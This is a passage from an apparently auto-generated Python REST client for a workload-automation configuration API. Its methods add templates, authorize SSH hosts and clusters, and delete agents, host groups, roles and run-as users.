raise ValueError("Missing the required parameter `zos_template_data` when calling `add_zos_template`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'template_name' in params:
path_params['templateName'] = params['template_name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'zos_template_data' in params:
body_params = params['zos_template_data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/zostemplate/{templateName}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def authorize_mft_ssh_cluster(self, server, agent, cluster_name, hostname_port_list, **kwargs): # noqa: E501
"""Authorize SSH Cluster # noqa: E501
Authorize SSH Cluster # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.authorize_mft_ssh_cluster(server, agent, cluster_name, hostname_port_list, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str cluster_name: Ssh Cluster Name (required)
:param ClusterAuthorizationData hostname_port_list: File with content of hostnames and ports (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.authorize_mft_ssh_cluster_with_http_info(server, agent, cluster_name, hostname_port_list, **kwargs) # noqa: E501
else:
(data) = self.authorize_mft_ssh_cluster_with_http_info(server, agent, cluster_name, hostname_port_list, **kwargs) # noqa: E501
return data
def authorize_mft_ssh_cluster_with_http_info(self, server, agent, cluster_name, hostname_port_list, **kwargs): # noqa: E501
"""Authorize SSH Cluster # noqa: E501
Authorize SSH Cluster # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.authorize_mft_ssh_cluster_with_http_info(server, agent, cluster_name, hostname_port_list, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str cluster_name: Ssh Cluster Name (required)
:param ClusterAuthorizationData hostname_port_list: File with content of hostnames and ports (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'cluster_name', 'hostname_port_list'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method authorize_mft_ssh_cluster" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `authorize_mft_ssh_cluster`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `authorize_mft_ssh_cluster`") # noqa: E501
# verify the required parameter 'cluster_name' is set
if self.api_client.client_side_validation and ('cluster_name' not in params or
params['cluster_name'] is None): # noqa: E501
raise ValueError("Missing the required parameter `cluster_name` when calling `authorize_mft_ssh_cluster`") # noqa: E501
# verify the required parameter 'hostname_port_list' is set
if self.api_client.client_side_validation and ('hostname_port_list' not in params or
params['hostname_port_list'] is None): # noqa: E501
raise ValueError("Missing the required parameter `hostname_port_list` when calling `authorize_mft_ssh_cluster`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'cluster_name' in params:
path_params['clusterName'] = params['cluster_name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'hostname_port_list' in params:
body_params = params['hostname_port_list']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/ssh/cluster/{clusterName}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def authorize_mft_ssh_host(self, server, agent, hostname, **kwargs): # noqa: E501
"""Authorize SSH Host # noqa: E501
Authorize SSH Host for SFTP account # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.authorize_mft_ssh_host(server, agent, hostname, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str hostname: Ssh Hostname (required)
:param str port: Ssh port for the relevant host
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.authorize_mft_ssh_host_with_http_info(server, agent, hostname, **kwargs) # noqa: E501
else:
(data) = self.authorize_mft_ssh_host_with_http_info(server, agent, hostname, **kwargs) # noqa: E501
return data
def authorize_mft_ssh_host_with_http_info(self, server, agent, hostname, **kwargs): # noqa: E501
"""Authorize SSH Host # noqa: E501
Authorize SSH Host for SFTP account # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.authorize_mft_ssh_host_with_http_info(server, agent, hostname, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str hostname: Ssh Hostname (required)
:param str port: Ssh port for the relevant host
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'hostname', 'port'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method authorize_mft_ssh_host" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `authorize_mft_ssh_host`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `authorize_mft_ssh_host`") # noqa: E501
# verify the required parameter 'hostname' is set
if self.api_client.client_side_validation and ('hostname' not in params or
params['hostname'] is None): # noqa: E501
raise ValueError("Missing the required parameter `hostname` when calling `authorize_mft_ssh_host`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'hostname' in params:
path_params['hostname'] = params['hostname'] # noqa: E501
query_params = []
if 'port' in params:
query_params.append(('port', params['port'])) # noqa: E501
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/ssh/host/{hostname}', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def create_run_as_user(self, server, run_as_user_data, **kwargs): # noqa: E501
"""Add a new Run-as user # noqa: E501
Add a new Run-as user to server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_run_as_user(server, run_as_user_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param RunAsUserData run_as_user_data: Run as user data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.create_run_as_user_with_http_info(server, run_as_user_data, **kwargs) # noqa: E501
else:
(data) = self.create_run_as_user_with_http_info(server, run_as_user_data, **kwargs) # noqa: E501
return data
def create_run_as_user_with_http_info(self, server, run_as_user_data, **kwargs): # noqa: E501
"""Add a new Run-as user # noqa: E501
Add a new Run-as user to server. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.create_run_as_user_with_http_info(server, run_as_user_data, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param RunAsUserData run_as_user_data: Run as user data (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'run_as_user_data'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method create_run_as_user" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `create_run_as_user`") # noqa: E501
# verify the required parameter 'run_as_user_data' is set
if self.api_client.client_side_validation and ('run_as_user_data' not in params or
params['run_as_user_data'] is None): # noqa: E501
raise ValueError("Missing the required parameter `run_as_user_data` when calling `create_run_as_user`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
if 'run_as_user_data' in params:
body_params = params['run_as_user_data']
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/runasuser', 'POST',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_agent(self, server, agent, **kwargs): # noqa: E501
"""delete an agent from Server # noqa: E501
Delete an agent from a Server. This will not shut the agent down. It only disconnects and removes it from the list. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_agent(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected to. (required)
:param str agent: The name of the agent to delete. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_agent_with_http_info(server, agent, **kwargs) # noqa: E501
else:
(data) = self.delete_agent_with_http_info(server, agent, **kwargs) # noqa: E501
return data
def delete_agent_with_http_info(self, server, agent, **kwargs): # noqa: E501
"""delete an agent from Server # noqa: E501
Delete an agent from a Server. This will not shut the agent down. It only disconnects and removes it from the list. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_agent_with_http_info(server, agent, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected to. (required)
:param str agent: The name of the agent to delete. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_agent" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `delete_agent`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `delete_agent`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_authorization_role(self, role, **kwargs): # noqa: E501
"""Delete Authorization Role # noqa: E501
Delete Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_authorization_role(role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: The Role name. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_authorization_role_with_http_info(role, **kwargs) # noqa: E501
else:
(data) = self.delete_authorization_role_with_http_info(role, **kwargs) # noqa: E501
return data
def delete_authorization_role_with_http_info(self, role, **kwargs): # noqa: E501
"""Delete Authorization Role # noqa: E501
Delete Authorization Role # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_authorization_role_with_http_info(role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str role: The Role name. (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['role'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_authorization_role" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'role' is set
if self.api_client.client_side_validation and ('role' not in params or
params['role'] is None): # noqa: E501
raise ValueError("Missing the required parameter `role` when calling `delete_authorization_role`") # noqa: E501
collection_formats = {}
path_params = {}
if 'role' in params:
path_params['role'] = params['role'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/role/{role}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_host_from_group(self, server, hostgroup, host, **kwargs): # noqa: E501
"""delete an agent from a hostgroup # noqa: E501
Delete an agent from the specified hostgroup. If the group is empty it will also be deleted. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_host_from_group(server, hostgroup, host, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the hostgroup belongs to. (required)
:param str hostgroup: The hostgroup name (required)
:param str host: The agent to be deleted (required)
:return: AgentsInGroupSuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_host_from_group_with_http_info(server, hostgroup, host, **kwargs) # noqa: E501
else:
(data) = self.delete_host_from_group_with_http_info(server, hostgroup, host, **kwargs) # noqa: E501
return data
def delete_host_from_group_with_http_info(self, server, hostgroup, host, **kwargs): # noqa: E501
"""delete an agent from a hostgroup # noqa: E501
Delete an agent from the specified hostgroup. If the group is empty it will also be deleted. # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_host_from_group_with_http_info(server, hostgroup, host, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the hostgroup belongs to. (required)
:param str hostgroup: The hostgroup name (required)
:param str host: The agent to be deleted (required)
:return: AgentsInGroupSuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'hostgroup', 'host'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_host_from_group" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `delete_host_from_group`") # noqa: E501
# verify the required parameter 'hostgroup' is set
if self.api_client.client_side_validation and ('hostgroup' not in params or
params['hostgroup'] is None): # noqa: E501
raise ValueError("Missing the required parameter `hostgroup` when calling `delete_host_from_group`") # noqa: E501
# verify the required parameter 'host' is set
if self.api_client.client_side_validation and ('host' not in params or
params['host'] is None): # noqa: E501
raise ValueError("Missing the required parameter `host` when calling `delete_host_from_group`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'hostgroup' in params:
path_params['hostgroup'] = params['hostgroup'] # noqa: E501
if 'host' in params:
path_params['host'] = params['host'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/hostgroup/{hostgroup}/agent/{host}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='AgentsInGroupSuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_host_group(self, server, hostgroup, **kwargs): # noqa: E501
"""delete host group # noqa: E501
delete host group # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_host_group(server, hostgroup, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected to. (required)
:param str hostgroup: The hostgroup name (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_host_group_with_http_info(server, hostgroup, **kwargs) # noqa: E501
else:
(data) = self.delete_host_group_with_http_info(server, hostgroup, **kwargs) # noqa: E501
return data
def delete_host_group_with_http_info(self, server, hostgroup, **kwargs): # noqa: E501
"""delete host group # noqa: E501
delete host group # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_host_group_with_http_info(server, hostgroup, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server the agent is connected to. (required)
:param str hostgroup: The hostgroup name (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'hostgroup'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_host_group" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `delete_host_group`") # noqa: E501
# verify the required parameter 'hostgroup' is set
if self.api_client.client_side_validation and ('hostgroup' not in params or
params['hostgroup'] is None): # noqa: E501
raise ValueError("Missing the required parameter `hostgroup` when calling `delete_host_group`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'hostgroup' in params:
path_params['hostgroup'] = params['hostgroup'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/hostgroup/{hostgroup}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_pgp_template(self, server, agent, template_name, **kwargs): # noqa: E501
"""Delete PGP Template # noqa: E501
Delete PGP Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_pgp_template(server, agent, template_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The PGP Template Name (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_pgp_template_with_http_info(server, agent, template_name, **kwargs) # noqa: E501
else:
(data) = self.delete_pgp_template_with_http_info(server, agent, template_name, **kwargs) # noqa: E501
return data
def delete_pgp_template_with_http_info(self, server, agent, template_name, **kwargs): # noqa: E501
"""Delete PGP Template # noqa: E501
Delete PGP Template # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_pgp_template_with_http_info(server, agent, template_name, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server (required)
:param str agent: The Agent (required)
:param str template_name: The PGP Template Name (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'template_name'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_pgp_template" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `delete_pgp_template`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `delete_pgp_template`") # noqa: E501
# verify the required parameter 'template_name' is set
if self.api_client.client_side_validation and ('template_name' not in params or
params['template_name'] is None): # noqa: E501
raise ValueError("Missing the required parameter `template_name` when calling `delete_pgp_template`") # noqa: E501
collection_formats = {}
path_params = {}
if 'server' in params:
path_params['server'] = params['server'] # noqa: E501
if 'agent' in params:
path_params['agent'] = params['agent'] # noqa: E501
if 'template_name' in params:
path_params['templateName'] = params['template_name'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/server/{server}/agent/{agent}/mft/pgptemplate/{templateName}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_role_from_ldap_group(self, ldapgroup, role, **kwargs): # noqa: E501
"""Delete a role from LDAP group # noqa: E501
Delete a role from LDAP group # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_role_from_ldap_group(ldapgroup, role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str ldapgroup: Name of LDAP group (required)
:param str role: Name of role (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_role_from_ldap_group_with_http_info(ldapgroup, role, **kwargs) # noqa: E501
else:
(data) = self.delete_role_from_ldap_group_with_http_info(ldapgroup, role, **kwargs) # noqa: E501
return data
def delete_role_from_ldap_group_with_http_info(self, ldapgroup, role, **kwargs): # noqa: E501
"""Delete a role from LDAP group # noqa: E501
Delete a role from LDAP group # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_role_from_ldap_group_with_http_info(ldapgroup, role, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str ldapgroup: Name of LDAP group (required)
:param str role: Name of role (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['ldapgroup', 'role'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_role_from_ldap_group" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'ldapgroup' is set
if self.api_client.client_side_validation and ('ldapgroup' not in params or
params['ldapgroup'] is None): # noqa: E501
raise ValueError("Missing the required parameter `ldapgroup` when calling `delete_role_from_ldap_group`") # noqa: E501
# verify the required parameter 'role' is set
if self.api_client.client_side_validation and ('role' not in params or
params['role'] is None): # noqa: E501
raise ValueError("Missing the required parameter `role` when calling `delete_role_from_ldap_group`") # noqa: E501
collection_formats = {}
path_params = {}
if 'ldapgroup' in params:
path_params['ldapgroup'] = params['ldapgroup'] # noqa: E501
if 'role' in params:
path_params['role'] = params['role'] # noqa: E501
query_params = []
header_params = {}
form_params = []
local_var_files = {}
body_params = None
# HTTP header `Accept`
header_params['Accept'] = self.api_client.select_header_accept(
['application/json']) # noqa: E501
# Authentication setting
auth_settings = ['ApiKeyAuth'] # noqa: E501
return self.api_client.call_api(
'/config/authorization/ldap/{ldapgroup}/role/{role}', 'DELETE',
path_params,
query_params,
header_params,
body=body_params,
post_params=form_params,
files=local_var_files,
response_type='SuccessData', # noqa: E501
auth_settings=auth_settings,
async_req=params.get('async_req'),
_return_http_data_only=params.get('_return_http_data_only'),
_preload_content=params.get('_preload_content', True),
_request_timeout=params.get('_request_timeout'),
collection_formats=collection_formats)
def delete_run_as_user(self, server, agent, user, **kwargs): # noqa: E501
"""delete Run-as user # noqa: E501
Delete Run-as user from server # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_run_as_user(server, agent, user, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str agent: The Agent (required)
:param str user: The user name (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
kwargs['_return_http_data_only'] = True
if kwargs.get('async_req'):
return self.delete_run_as_user_with_http_info(server, agent, user, **kwargs) # noqa: E501
else:
(data) = self.delete_run_as_user_with_http_info(server, agent, user, **kwargs) # noqa: E501
return data
def delete_run_as_user_with_http_info(self, server, agent, user, **kwargs): # noqa: E501
"""delete Run-as user # noqa: E501
Delete Run-as user from server # noqa: E501
This method makes a synchronous HTTP request by default. To make an
asynchronous HTTP request, please pass async_req=True
>>> thread = api.delete_run_as_user_with_http_info(server, agent, user, async_req=True)
>>> result = thread.get()
:param async_req bool
:param str server: The Server. (required)
:param str agent: The Agent (required)
:param str user: The user name (required)
:return: SuccessData
If the method is called asynchronously,
returns the request thread.
"""
all_params = ['server', 'agent', 'user'] # noqa: E501
all_params.append('async_req')
all_params.append('_return_http_data_only')
all_params.append('_preload_content')
all_params.append('_request_timeout')
params = locals()
for key, val in six.iteritems(params['kwargs']):
if key not in all_params:
raise TypeError(
"Got an unexpected keyword argument '%s'"
" to method delete_run_as_user" % key
)
params[key] = val
del params['kwargs']
# verify the required parameter 'server' is set
if self.api_client.client_side_validation and ('server' not in params or
params['server'] is None): # noqa: E501
raise ValueError("Missing the required parameter `server` when calling `delete_run_as_user`") # noqa: E501
# verify the required parameter 'agent' is set
if self.api_client.client_side_validation and ('agent' not in params or
params['agent'] is None): # noqa: E501
raise ValueError("Missing the required parameter `agent` when calling `delete_run_as_user`") # noqa: E501
# verify the required parameter 'user' is set
if self.api_client.client_side_validation and ('user' not in params or
params['user'] is None): # noqa: E501
